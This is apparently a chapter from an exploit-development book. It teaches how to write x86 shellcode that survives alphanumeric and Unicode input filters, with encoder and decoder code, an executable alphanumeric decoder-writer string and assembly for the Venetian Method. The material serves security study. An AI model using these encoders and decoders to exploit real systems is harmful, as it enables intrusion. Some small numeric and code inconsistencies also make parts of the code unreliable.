CHAPTER

9

Overcoming Filters

Writing an exploit for certain buffer overflow vulnerabilities can be problematic because of the filters that may be in place; for example, the vulnerable program may allow only alphanumeric characters from A to Z, a to z, and 0 to 9. We must work around two obstacles in such cases. First, any exploit code we write must be in the form the filter dictates; second, we must find a suitable value that can be used to overwrite the saved return address or function pointer, depending on the kind of overflow being exploited. This value needs to be in the form allowed by the filter. Assuming a reasonable filter, such as printable ASCII or Unicode, we can usually solve the first problem. Solving the second depends on, to a certain degree, luck, persistence, and craftiness.

Writing Exploits for Use with an Alphanumeric Filter

In the recent past, we've seen several situations in which exploit code needed to be printable ASCII in nature; that is, each byte must lie between A and Z (`0x41` to `0x5A`), a and z (`0x61` to `0x7A`) or 0 and 9 (`0x30` to `0x39`). This kind of shellcode was first documented by Riley "Caezar" Eller in his paper "Bypassing MSB Data Filters for Buffer Overflows" (August 2000). While the shellcode in Caezar's paper only allows for any character between `0x20` and `0x7F`, it is a good starting point for those interested in overcoming such limitations.

The basic technique uses opcodes with alphanumeric bytes to write your real shellcode. This is known as *bridge building*. For example, if we wanted to execute a `call eax` instruction (`0xFF 0xD0`), we'd need to write the following out to the stack:

```
push 30h (6A 30)    // Push 0x00000030 onto the stack
pop  eax  (58)      // Pop it into the EAX register
xor  al,30h (34 30) // XOR al with 0x30. This leaves 0x00000000 in EAX.
dec  eax (48)       // Take 1 off the EAX leaving 0xFFFFFFFF
xor eax,7A393939h (35 39 39 39 7A) // This XOR leaves 0x85C6C6C6 in EAX.
xor eax,55395656h (35 56 56 39 55) // and this leaves 0xD0FF9090 in EAX
push  eax (50)      // We push this onto the stack.
```

This looks fine—we can use similar methods to write our real shellcode. But we have a problem. We're writing our real code to the stack, and we'll need to jump to it or call it. Since we can't directly execute a `pop esp` instruction, because it has a byte value of `0x5C` (the backslash character), how will we manipulate `ESP`? Remember that we need to eventually join the code that writes the real exploit with that same exploit. This means that `ESP` must have a higher address than the one from which we're currently executing. Assuming a classic stack-based buffer overrun where we begin executing at `ESP`, we could adjust `ESP` upwards with an `INC ESP (0x44)`. However, this does us no good, because `INC ESP` adjusts `ESP` by 1, and the `INC ESP` instruction takes 1 byte so that we're constantly chasing it. No, what we need is an instruction that adjusts `ESP` in a big way.

Here is where the `popad` instruction becomes useful. `popad` (the opposite of `pushad`) takes the top 32 bytes from `ESP` and pops them into the registers in an orderly fashion. The only register `popad` that doesn't update directly by popping a value off the stack into the register is `ESP`. `ESP` adjusts to reflect that 32 bytes have been removed from the stack. In this way, if we're currently executing at `ESP`, and we execute `popad` a few times, then `ESP` will point to a higher address than the one at which we're currently executing. When we start pushing our real shellcode onto the stack, the two will meet in the middle—we've built our bridge.

Doing anything useful with the exploit will require a large number of similar hacks. In the preceding `call eax` example, we've used 17 bytes of alphanumeric shellcode to write out 4 bytes of "real" shellcode. If we use a portable Windows reverse shell exploit that requires around 500 bytes, our alphanumeric version will be somewhere in excess of 2000 bytes. What's more, writing it will be a pain; and then if we want to write another exploit that does something more than a reverse shell, we must do the same thing again from scratch. Can we do anything to rectify this issue? The answer is, of course, yes, and comes in the form of a decoder.

If we write our real exploit first and then encode it, we need only to write a decoder in ASCII that decodes and then executes the real exploit. This method requires you to write only a small amount of ASCII shellcode once and reduces the overall size of the exploit. What encoding mechanism should we use? The Base64 encoding scheme seems like a good candidate. Base64 takes 3 bytes and converts them to 4 printable ASCII bytes, and is often used as a mechanism for binary file transfers. Base64 would give us an expansion ratio of 3 bytes of real shellcode to 4 bytes of encoded shellcode. However, the Base64 alphabet contains some non-alphanumeric characters, so we'll have to use something else. A better solution would be to come up with our own encoding scheme with a smaller decoder. For this I'd suggest Base16, a variant of Base64. Here's how it works.

Split the 8-bit byte into two 4-bit bytes. Add `0x41` to each of these 4 bits. In this way, we can represent any 8-bit byte as 2 bytes both with a value between `0x41` and `0x50`. For example, if we have the 8-bit byte `0x90` (`10010000` in binary), we split it into two 4-bit sections, giving us 1001 and 0000. We then add `0x41` to both, giving us `0x4A` and `0x41`—a `J` and an `A`.

Our decoder does the opposite; it reverses the process. It takes the first character, `J` (or `0x4A` in this case) and then subtracts `0x41` from it. We then shift this left 4 bits, add the second byte, and subtract `0x41`. This leaves us with `0x90` again.

```
            Here:
mov         al,byte ptr [edi]
            sub         al,41h
            shl         al,4
            inc         edi
            add         al,byte ptr [edi]
            sub         al,41h
            mov         byte ptr [esi],al
            inc         esi
            inc         edi
cmp  byte ptr[edi],0x51
            jb      here
```

This shows the basic loop of the decoder. Our encoded exploit should use only characters `A` to `P`, so we can mark the end of our encoded exploit with a `Q` or greater. `EDI` points to the beginning of the buffer to decode, as does `ESI`. We move the first byte of the buffer into `AL` and subtract `0x41`. Shift this left 4 bits, and then add the second byte of the buffer to `AL`. Subtract `0x41`. We write the result to `ESI`—reusing our buffer. We loop until we come to a character in the buffer greater than a `P`. Many of the bytes behind this decoder are not alphanumeric, however. We need to create a decoder writer to write this decoder out first and then have it execute.

Another question is how do we set EDI and ESI to point to the right location where our encoded exploit can be found? Well, we have a bit more to do—we must precede the decoder with the following code to set up the registers:

```
jmp B
             A: jmp C
             B: call A
             C: pop         edi
             add         edi,0x1C
             push edi
             pop esi
```

The first few instructions get the address of our current execution point (EIP-1) and then pop this into the EDI register. We then add 0x1C to EDI. EDI now points to the byte after the jb instruction at the end of the code of the decoder. This is the point at which our encoded exploit starts and also the point at which it is written. In this way, when the loop has completed, execution continues straight into our real decoded shellcode. Going back, we make a copy of EDI, putting it in ESI. We'll be using ESI as the reference for the point at which we decode our exploit. Once the decoder hits a character greater than P, we break out of the loop and continue execution into our newly decoded exploit. All we do now is write the "decoder writer" using only alphanumeric characters. Execute the following code and you will see the decoder writer in action:

```
#include <stdio.h>

int main()
{
     char buffer[400]="aaaaaaaaj0X40HPZRXf5A9f5UVfPh0z00X5JEaBP"
                      "YAAAAAAQhC000X5C7wvH4wPh00a0X527MqPh0"
                      "0CCXf54wfPRXf5zzf5EefPh00M0X508aqH4uPh0G0"
                      "0X50ZgnH48PRX5000050M00PYAQX4aHHfPRX40"
                      "46PRXf50zf50bPYAAAAAAfQRXf50zf50oPYAAAfQ"
                      "RX5555z5ZZZnPAAAAAAAAAAAAAAAAAAAAAAA"
                      "AAAAAAAAAAAAAAAAAAAAAAAAEBEBEBEBEBE"
                      "BEBEBEBEBEBEBEBEBEBEBEBEBEBEBQQ";
     unsigned int x = 0;
     x = &buffer;
     __asm{

mov esp,x
             jmp esp
             }
     return 0;
}
```

The real exploit code to be executed is encoded and then appended to the end of this piece of code. It is delimited with a character greater than `P`. The code of the encoder follows:

```
#include <stdio.h>
#include <windows.h>

int main()
{
    unsigned char

RealShellcode[]="\x55\x8B\xEC\x68\x30\x30\x30\x30\x58\x8B\xE5\x5D\xC3";
    unsigned int count = 0, length=0, cnt=0;
    unsigned char *ptr = null;
    unsigned char a=0,b=0;

    length = strlen(RealShellcode);
    ptr = malloc((length + 1) * 2);
    if(!ptr)
        return printf("malloc() failed.\n");
    ZeroMemory(ptr,(length+1)*2);
    while(count < length)
         {
        a = b = RealShellcode[count];
        a = a >> 4;
        b = b << 4;
        b = b >> 4;
        a = a + 0x41;
        b = b + 0x41;
        ptr[cnt++] = a;
        ptr[cnt++] = b;
        count ++;
        }
    strcat(ptr,"QQ");
    free(ptr);
    return 0;
}
```

Writing Exploits for Use with a Unicode Filter

Chris Anley first documented the feasibility of the exploitation of Unicode-based vulnerabilities in his excellent paper "Creating Arbitrary Shell Code in Unicode Expanded Strings," published in January 2002 (`http://www.ngssoftware.com/papers/unicodebo.pdf`).

The paper introduces a method for creating shellcode with machine code that is Unicode in nature (strictly speaking, UTF-16); that is, with every second byte being a null. Although Chris's paper is a fantastic introduction to using such techniques, there are some limitations to the method and code he presents. He recognizes these limitations and concludes his paper by stating that refinements can be made. This section introduces Chris's technique, known as the *Venetian Method*, and his implementation of the method. We then detail some refinements and address some of its shortcomings.

What Is Unicode?

Before we continue, let's cover the basics of Unicode. *Unicode* is a standard for encoding characters using 16 bits per character (rather than 8 bits—well, 7 bits, actually, like ASCII) and thus supports a much greater character set, lending itself to internationalization. By supporting the Unicode standard, an operating system can be more easily used and therefore gain acceptance in the international community. If an operating system uses Unicode, the code of the operating system needs to be written only once, and only the language and character set need to change; so even those systems that use the Roman alphabet use Unicode. The ASCII value of each character in the Roman alphabet and number system is padded with a null byte in its Unicode form. For example, the ASCII character `A`, which has a hex value of `0x41`, becomes `0x4100` in Unicode.

```
String:          ABCDEF
Under ASCII:     \x41\x42\x43\x44\x45\x46\x00
Under Unicode:   \x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x00\x00
```

Such Unicode characters are often referred to as *wide characters*; strings made up of wide characters are terminated with two null bytes. However, non-ASCII characters, such as those found in the Chinese or Russian alphabets, would not have the null bytes—all 16 bits would be used accordingly. In the Windows family of operating systems, normal ASCII strings are often converted to their Unicode equivalent when passed to the kernel or when used in protocols such as RPC.

Converting from ASCII to Unicode

At a high level, most programs and text-based network protocols such as HTTP deal with normal ASCII strings. These strings may then be converted to their Unicode equivalents so that the low-level code underlying programs and servers can deal with them.

Under Windows, a normal ASCII string would be converted to its wide-character equivalent using the function `MultiByteToWideChar()`. Conversely, converting a Unicode string to its ASCII equivalent uses the `WideCharTo-MultiByte()` function. The first parameter passed to both these functions is the *code page*. A code page describes the variations in the character set to be applied. When the function `MultiByteToWideChar()` is called, depending on what code page it has been passed, one 8-bit value may turn into completely different 16-bit values. For example, when the conversion function is called with the ANSI code page (`CP_ACP`), the 8-bit value `0x8B` is converted to the wide-character value `0x3920`. However, if the OEM code page (`CP_OEM`) is used, then `0x8B` becomes `0xEF00`.

Needless to say, the code page used in the conversion will have a big impact on any exploit code sent to a Unicode-based vulnerability. However, more often than not, ASCII characters such as `A` (`0x41`) are typically converted to their wide-character versions simply by adding a null byte—`0x4100`. As such, when writing plug-and-play exploit code for Unicode-based buffer overflows, it's better to use code made up entirely of ASCII characters. In this way, you minimize the chance of the code being mangled by conversion routines.

WHY DO UNICODE VULNERABILITIES OCCUR?

Unicode-based vulnerabilities occur for the same reason normal ones do. Just about everyone knows about the dangers of using functions like `strcpy()` **and** `strcat()`**, and the same applies to Unicode; there are wide-character equivalents such as** `wscpy()` **and** `wscat()`**. Indeed, even the conversion functions** `MultiByteToWideChar()` **and** `WideCharToMultiByte()` **are vulnerable to buffer overflow if the lengths of the strings used are miscalculated or misunderstood. You can even have Unicode format-string vulnerabilities.**

Exploiting Unicode-Based Vulnerabilities

In order to exploit a Unicode-based buffer overflow, we first need a mechanism to transfer the process's path of execution to the user-supplied buffer. By the very nature of the vulnerability, an exploit will overwrite the saved return address or the exception handler with a Unicode value. For example, if our buffer can be found at address `0x00310004`, then we'd overwrite the saved return address/exception handler with `0x00310004`. If one of the registers contains the address of the user-supplied buffer (and if you're very lucky), you may be able to find a "jmp register" or "call register" opcode at or near a Unicode-style address. For example, if the `EBX` register points to the user-supplied buffer, you may find a `jmp ebx` instruction perhaps at address `0x00770058`. If you have even more luck, you may also get away with having a `jmp` or `call ebx` instruction above a Unicode-form address. Consider the following code:

```
0x007700FF     inc ecx
0x00770100     push ecx
0x00770101     call ebx
```

We'd overwrite the saved return address/exception handler with `0x007700FF`, and execution would transfer to this address. When execution takes up at this point, the `ECX` register is incremented by 1 and pushed onto the stack, and then the address pointed to by `EBX` is called. Execution would then continue in the user-supplied buffer. This is a one-in-a-million likelihood—but it's worth bearing in mind. If there's nothing in the code that will cause an access violation before the `call/jmp` register instruction, then it's definitely usable.

Assuming you do find a way to return to the user-supplied buffer, the next thing you need is either a register that contains the address of somewhere in the buffer, or you need to know an address in advance. The Venetian Method uses this address when it creates the shellcode on the fly. We'll later discuss how to get the fix on the address of the buffer.

The Available Instruction Set in Unicode Exploits

When exploiting a Unicode-based vulnerability, the arbitrary code executed must be of a form in which each second byte is a null and the other is non-null. This obviously makes for a limited set of instructions available to you. Instructions available to the Unicode exploit developer are all those single-byte operations that include such instructions as `push`, `pop`, `inc`, and `dec`. Also available are the instructions with a byte form of

```
nn00nn
```

such as:

```
mul eax, dword ptr[eax],0x00nn
```

Alternatively you may find

```
nn00nn00nn
```

such as:

```
imul eax, dword ptr[eax],0x00nn00nn
```

Or, you could find many add-based instructions of the form

```
00nn00
```

where two single-byte instructions are used one after the other, as in this code fragment:

```
00401066 50                    push        eax
00401067 59                    pop         ecx
```

The instructions must be separated with a `nop`-equivalent of the form `00 nn 00` to make it Unicode in nature. One such choice could be:

```
00401067 00 6D 00            add         byte ptr [ebp],ch
```

Of course, for this method to succeed, the address pointed to by `EBP` must be writable. If it isn't, choose another; we've listed many more later in this section. When embedded between the `push` and the `pop` we get:

```
00401066 50                  push        eax
00401067 00 6D 00            add         byte ptr [ebp],ch
0040106A 59                  pop         ecx
```

These are Unicode in nature:

```
\x50\x00\x6D\x00\x59
```

The Venetian Method

Writing a full-featured exploit using such a limited instruction set is extremely difficult, to say the least. So what can be done to make the task easier? Well, you could use the limited set of available instructions to create the real exploit code on the fly, as is done using the Venetian technique described in Chris Anley's paper. This method essentially entails an exploit that uses an "exploit writer" and a buffer with half the real exploit already in it. This buffer is the destination that the real exploit code will eventually reach. The exploit writer, written using only the limited instruction set, replaces each null byte in the destination buffer with what it should be in order to create the full-featured real exploit code.

Let's look at an example. Before the exploit writer begins executing, the destination buffer could be:

```
\x41\x00\x43\x00\x45\x00\x47\x00
```

When the exploit writer starts, it replaces the first null with `0x42` to give us

```
\x41\x42\x43\x00\x45\x00\x47\x00
```

The next null is replaced with `0x44`, which results in

```
\x41\x42\x43\x44\x45\x00\x47\x00
```

The process is repeated until the final full-featured "real" exploit remains.

```
\x41\x42\x43\x44\x45\x46\x47\x48
```

As you can see, it's much like Venetian blinds closing—hence the name for the technique.

To set each null byte to its appropriate value, the exploit writer needs at least one register that points to the first null byte of the half-filled buffer when it starts its work. Assuming `EAX` points to the first null byte, it can be set with the following instruction:

```
00401066 80 00 42            add         byte ptr [eax],42h
```

Adding `0x42` to `0x00`, needless to say, gives us `0x42`. `EAX` then must be incremented twice to point to the next null byte; then it too can be filled. But remember, the exploit writer part of the exploit code needs to be Unicode in nature, so it should be padded with `nop`-equivalents. To write 1 byte of exploit code now requires the following code:

```
00401066 80 00 42            add         byte ptr [eax],42h
00401069 00 6D 00            add         byte ptr [ebp],ch
0040106C 40                  inc         eax
0040106D 00 6D 00            add         byte ptr [ebp],ch
00401070 40                  inc         eax
00401071 00 6D 00            add         byte ptr [ebp],ch
```

This is 14 bytes (7 wide characters) of instruction and 2 bytes (1 wide character) of storage, which makes 16 bytes (8 wide characters) for 2 bytes of real exploit code. One byte is already in the destination buffer; the other is created by the exploit writer on the fly.

Although Chris's code is small (relatively speaking), which is a benefit, the problem is that one of the bytes of code has a value of `0x80`. If the exploit is first sent as an ASCII-based string and then converted to Unicode by the vulnerable process, depending on the code page in use during the conversion routine, this byte may get mangled. In addition, when replacing a null byte with a value greater than `0x7F`, the same problem creeps in—the exploit code may get mangled and thus fail to work. To solve this we need to create an exploit writer that uses only characters `0x20` to `0x7F`. An even better solution would be to use only letters and numbers; punctuation characters sometimes get special treatment and are often stripped, escaped, or converted. We will try our best to avoid these characters to guarantee success.

An ASCII Venetian Implementation

Our task is to develop a Unicode-type exploit that, using the Venetian Method, creates arbitrary code on the fly using only ASCII letters and numbers from the Roman alphabet—a Roman Exploit Writer, if you will. We have several methods available to us, but many are too inefficient; they use too many bytes to create a single byte of arbitrary shellcode. The method we present here adheres to our requirements and appears to use the least number of bytes for an ASCII equivalent of the original code presented with the Venetian Method. Before getting to the meat of the exploit writer, we need to set certain states. We need ECX to point to the first null byte in the destination buffer, and we need the value 0x01 on top of the stack, 0x39 in the EDX register (in DL specifically), and 0x69 in the EBX register (in BL specifically). Don't worry if you don't quite understand where these preconditions come from; all will soon become clear. With the nop-equivalents (in this case, add byte ptr [ebp],ch) removed for the sake of clarity, the setup code is as follows:

```
0040B55E 6A 00              push        0
0040B560 5B                 pop         ebx
0040B564 43                 inc         ebx
0040B568 53                 push        ebx
0040B56C 54                 push        esp
0040B570 58                 pop         eax
0040B574 6B 00 39           imul        eax,dword ptr [eax],39h
0040B57A 50                 push        eax
0040B57E 5A                 pop         edx
0040B582 54                 push        esp
0040B586 58                 pop         eax
0040B58A 6B 00 69           imul        eax,dword ptr [eax],69h
0040B590 50                 push        eax
0040B594 5B                 pop         ebx
```

Assuming ECX already contains the pointer to the first null byte (and we'll deal with this aspect later), this piece of code starts by pushing 0x00000000 onto the top of the stack, which is then popped off into the EBX register. EBX now holds the value 0. We then increment EBX by 1 and push this onto the stack. Next, we push the address of the top of the stack onto the top, then pop into EAX. EAX now holds the memory address of the 1. We now multiply 1 by 0x39 to give 0x39, and the result is stored in EAX. This is then pushed onto the stack and popped into EDX. EDX now holds the value 0x39—more important, the value of the low 8-bit DL part of EDX contains 0x39.

We then push the address of the 1 onto the top of the stack again with the push esp instruction, and again pop it into EAX. EAX contains the memory address of the 1 again. We multiply this 1 by 0x69, leaving this result in EAX. We then push the result onto the stack and pop it into EBX. EBX / BL now contains the value 0x69. Both BL and DL will come into play later when we need to write out a byte with a value greater than 0x7F. Moving on to the code that forms the implementation of the Venetian Method, and again with the nop-equivalents removed for clarity, we have:

```
0040B5BA 54                 push        esp
0040B5BE 58                 pop         eax
0040B5C2 6B 00 41           imul        eax,dword ptr [eax],41h
```

```
0040B5C5 00 41 00            add         byte ptr [ecx],al
0040B5C8 41                  inc         ecx
0040B5CC 41                  inc         ecx
```

Remembering that we have the value `0x00000001` at the top of the stack, we push the address of the `1` onto the stack. We then pop this into `EAX`, so `EAX` now contains the address of the `1`. Using the `imul` operation, we multiply this `1` by the value we want to write out—in this case, `0x41`. `EAX` now holds `0x00000041`, and thus `AL` holds `0x41`. We add this to the byte pointed to by `ECX`—remember this is a null byte, and so when we add `0x41` to `0x00` we're left with `0x41`—thus closing the first "blind." We then increment `ECX` twice to point to the next null byte, skipping the non-null byte, and repeat the process until the full code is written out.

Now what happens if you need to write out a byte with a value greater than `0x7F`? We'll this is where `BL` and `DL` come into play. What follows are a few variations on the previous code that deals with this situation.

Assuming the null byte in question should be replaced with a byte in the range of `0x7F` to `0xAF`, for example, `0x94` (`xchg eax,esp`), we would use the following code:

```
0040B5BA 54                  push        esp
0040B5BE 58                  pop         eax
0040B5C2 6B 00 5B            imul        eax,dword ptr [eax],5Bh
0040B5C5 00 41 00            add         byte ptr [ecx],al
0040B5C8 46                  inc         esi
0040B5C9 00 51 00            add         byte ptr [ecx],dl // <---- HERE
0040B5CC 41                  inc         ecx
0040B5D0 41                  inc         ecx
```

Notice what is going on here. We first write out the value `0x5B` to the null byte and then add the value in `DL` to it—`0x39`. `0x39` plus `0x5B` is `0x94`. Incidentally, we insert an `INC ESI` as a `nop`-equivalent to avoid incrementing `ECX` too early and adding `0x39` to one of the non-null bytes.

If the null byte to be replaced should have a value in the range of `0xAF` to `0xFF`, for example, `0xC3` (`ret`), use the following code:

```
0040B5BA 54                  push        esp
0040B5BE 58                  pop         eax
0040B5C2 6B 00 5A            imul        eax,dword ptr [eax],5Ah
0040B5C5 00 41 00            add         byte ptr [ecx],al
0040B5C8 46                  inc         esi
0040B5C9 00 59 00            add         byte ptr [ecx],bl // <---- HERE
0040B5CC 41                  inc         ecx
0040B5D0 41                  inc         ecx
```

In this case, we're doing the same thing, this time using BL to add 0x69 to where the byte points. This is done by using ECX, which has just been set to 0x5A. 0x5A plus 0x69 equals 0xC3, and thus we have written out our ret instruction.

What if we need a value in the range of 0x00 to 0x20? In this case, we simply overflow the byte. Assuming we want the null byte replaced with 0x06 (push es), we'd use this code:

```
0040B5BA 54                  push        esp
0040B5BE 58                  pop         eax
0040B5C2 6B 00 64            imul        eax,dword ptr [eax],64h
0040B5C5 00 41 00            add         byte ptr [ecx],al
0040B5C8 46                  inc         esi
0040B5C9 00 59 00            add         byte ptr [ecx],bl
// <--- BL == 0x69
0040B5CC 46                  inc         esi
0040B5CD 00 51 00            add         byte ptr [ecx],dl
// <--- DL == 0x39
0040B5D0 41                  inc         ecx
0040B5D4 41                  inc         ecx
```

0x60 plus 0x69 plus 0x39 equals 0x106. But a byte can only hold a maximum value of 0xFF, and so the byte "overflows," leaving 0x06.

This method can also be used to adjust non-null bytes if they're not in the range 0x20 to 0x7F. What's more, we can be efficient and do something useful with one of the nop-equivalents—let's use this method and make it non-nop-equivalent. Assuming, for example, that the non-null byte should be 0xC3 (ret), initially we would set it to 0x5A. We would make sure to do this before calling the second inc ecx, when setting the null byte, before this non-null byte. We could adjust it as follows:

```
0040B5BA 54                  push        esp
0040B5BE 58                  pop         eax
0040B5C2 6B 00 41            imul        eax,dword ptr [eax],41h
0040B5C5 00 41 00            add         byte ptr [ecx],al
0040B5C8 41                  inc         ecx
// NOW ECX POINTS TO THE 0x5A IN THE DESTINATION BUFFER
0040B5C9 00 59 00            add         byte ptr [ecx],bl
// <-- BL == 0x69 NON-null BYTE NOW EQUALS 0xC3
0040B5CC 41                  inc         ecx
0040B5CD 00 6D 00            add         byte ptr [ebp],ch
```

We repeat these actions until our code is complete. We're left then with the question: What code do we really want to execute?

Decoder and Decoding

Now that we've created our Roman Exploit Writer implementation, we need to write out a good exploit. Exploits can be large, however, so using the previous technique may prove unfeasible because we simply may not have enough room. The best solution would be to use our exploit writer to create a small decoder that takes our full real exploit in Unicode form and converts it back to non-Unicode form—our own `WideCharToMultiByte()` function. This method will greatly save on space.

We'll use the Venetian Method to create our own `WideCharToMultiByte()` code and then tack our real exploit code onto the end of it. Here's how the decoder will work. Assume the real arbitrary code we wish to execute is

```
\x41\x42\x43\x44\x45\x46\x47\x48
```

When exploiting the vulnerability this is converted to the unicode string:

```
\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00
```

If, however, we send

```
\x41\x43\x45\x47\x48\x46\x44\x42
```

it will become

```
\x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
```

We then write our `WideCharToMultiByte()` decoder to take the `\x42` at the end and place it after the `\x41`. Then it will copy the `\x44` after the `\x43` and so on, until complete.

```
\x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
```

Move the `\x42`.

```
\x41\x42\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
```

Move the `\x44`.

```
\x41\x42\x43\x44\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
```

Move the `\x46`.

```
\x41\x42\x43\x44\x45\x46\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
```

Move the `\x48`.

```
\x41\x42\x43\x44\x45\x46\x47\x48\x48\x00\x46\x00\x44\x00\x42\x00
```

Thus we have decoded the Unicode string to give us the real arbitrary code we wish to execute.

The Decoder Code

The decoder should be written as a self-contained module, thus making it plug-and-play. The only assumption this decoder makes is that upon entry, the `EDI` register will contain the address of the first instruction that will execute—in this case `0x004010B4`. The length of the decoder, `0x23` bytes, is then added to `EDI` so that `EDI` now points to just past the `jne here` instruction. This is where the Unicode string to decode will begin.

```
004010B4 83 C7 23              add         edi,23h
004010B7 33 C0                 xor         eax,eax
004010B9 33 C9                 xor         ecx,ecx
004010BB F7 D1                 not         ecx
004010BD F2 66 AF              repne scas  word ptr [edi]
004010C0 F7 D1                 not         ecx
004010C2 D1 E1                 shl         ecx,1
004010C4 2B F9                 sub         edi,ecx
004010C6 83 E9 04              sub         ecx,4
004010C9 47                    inc         edi
here:
004010CA 49                    dec         ecx
004010CB 8A 14 0F              mov         dl,dword ptr [edi+ecx]
004010CE 88 17                 mov         byte ptr [edi],dl
004010D0 47                    inc         edi
004010D1 47                    inc         edi
004010D2 49                    dec         ecx
004010D3 49                    dec         ecx
004010D4 49                    dec         ecx
004010D5 75 F3                 jne         here (004010ca)
```

Before decoding the Unicode string, the decoder needs to know the length of the string to decode. If this code is to be plug-and-play capable, then this string can have an arbitrary length. To get the length of the string, the code scans the string looking for two null bytes; remember that two null bytes terminate a Unicode string. When the decoder loop starts, at the label marked `here`, `ECX` contains the length of the string, and `EDI` points to the beginning of the string. `EDI` is then incremented by `1` to point to the first null byte, and `ECX` is decremented by `1`. Now, when `ECX` is added to `EDI`, it points to the last non-null byte character of the string. This non-null byte is then moved temporarily into `DL` and then moved into the null byte pointed to by `EDI`. `EDI` is incremented by 2, and `ECX` decremented by 4, and the loop continues.

When `EDI` points to the middle of the string, `ECX` is 0, and all the non-null bytes at the end of the Unicode string have been shifted to the beginning of the string, replacing the null bytes, and we have a contiguous block of code. When the loop finishes, execution continues at the beginning of the freshly decoded exploit, which has been decoded up to immediately after the `jne here` instruction.

Before actually writing the code of the Roman Exploit Writer, we have one more thing to do. We need a pointer to our buffer where the decoder will be written. Once the decoder has been written, this pointer then needs to be adjusted to point to the buffer with which the decoder will work.

Getting a Fix on the Buffer Address

Returning to the point at which we've just gained control of the vulnerable process, before we do anything further, we need to get a reference to the user-supplied buffer. The code we'll use when employing the Venetian Method uses the `ECX` register, so we'll need to set `ECX` to point to our buffer. Two methods are available, depending on whether a register points to the buffer. Assuming at least one register does contain a pointer to our buffer (for example, the `EAX` register), we'd `push` it onto the stack then `pop` it off into the `ECX`.

```
push eax
pop ecx
```

If, however, no register points to the buffer, then we can use the following technique, provided we know where our buffer is exactly in memory. More often than not, we'll have overwritten the saved return address with a fixed location; for example, `0x00410041`, so we'll have this information.

```
push 0
pop eax
inc eax
push eax
push esp
pop eax
imul eax,dword ptr[eax],0x00410041
```

This pushes `0x00000000` onto the stack, which is then popped into `EAX`. `EAX` is now `0`. We then increment `EAX` by `1` and push it onto the stack. With `0x00000001` on top of the stack, we then push the address of the top of the stack onto the stack. We then pop this into `EAX`; `EAX` now points to the `1`. We multiply this `1` with the address of our buffer, essentially moving the address of our buffer into `EAX`. It's a bit of a run-around, but we can't just `mov eax, 0x00410041`, because the machine code behind this is not in Unicode format.

Once we have our address in `EAX`, we push it onto the stack and pop it into `ECX`.

```
push eax
pop ecx
```

We then need to adjust it. We'll leave writing the decoder writer as an exercise for the readers. This section provides all the relevant information required for this task.

Conclusion

In this chapter, you learned how to exploit vulnerabilities that have filters present. Many vulnerabilities allow only ASCII-printable characters into a vulnerable buffer, or require the exploit to use Unicode. These vulnerabilities may be classified as "not exploitable," but with the proper filter and decoder, and a little creativity, they can indeed be exploited.

We covered the Venetian Method of writing a filter and presented a Roman Exploit Writer as well. The first will allow the exploitation of vulnerabilities in which Unicode filters are present; the latter allows you to overcome ASCII-printable character vulnerabilities.